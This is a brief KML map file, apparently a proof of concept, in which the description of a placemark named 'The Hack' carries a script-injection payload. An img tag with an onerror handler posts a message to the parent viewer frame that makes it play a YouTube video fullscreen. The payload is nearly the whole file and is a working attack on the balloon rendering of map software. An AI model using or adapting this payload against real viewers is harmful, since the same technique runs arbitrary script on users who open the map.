hack.kml

<?xml version="1.0" encoding="UTF-8"?>
<kml xmlns="http://www.opengis.net/kml/2.2"
  xmlns:gx="http://www.google.com/kml/ext/2.2">
  
  <Document>
    <name>Hack</name>
    <open>1</open>

    <Placemark id="onland">
      <name>The Hack</name>
      <description>
        <![CDATA[<h1>Hello :)</h1><img src=x onerror='parent.postMessage({destination: "balloon-parent", method: "send", content:{id:"playYouTubeVideo",params:{id: "umDr0mPuyQc",params:{},balloon:"fullscreen-balloon"}}},"*");'> ]]>
      </description>
      <Point>
        <coordinates>-119.849578,33.968515,0</coordinates>
      </Point>
    </Placemark>

  </Document>
</kml>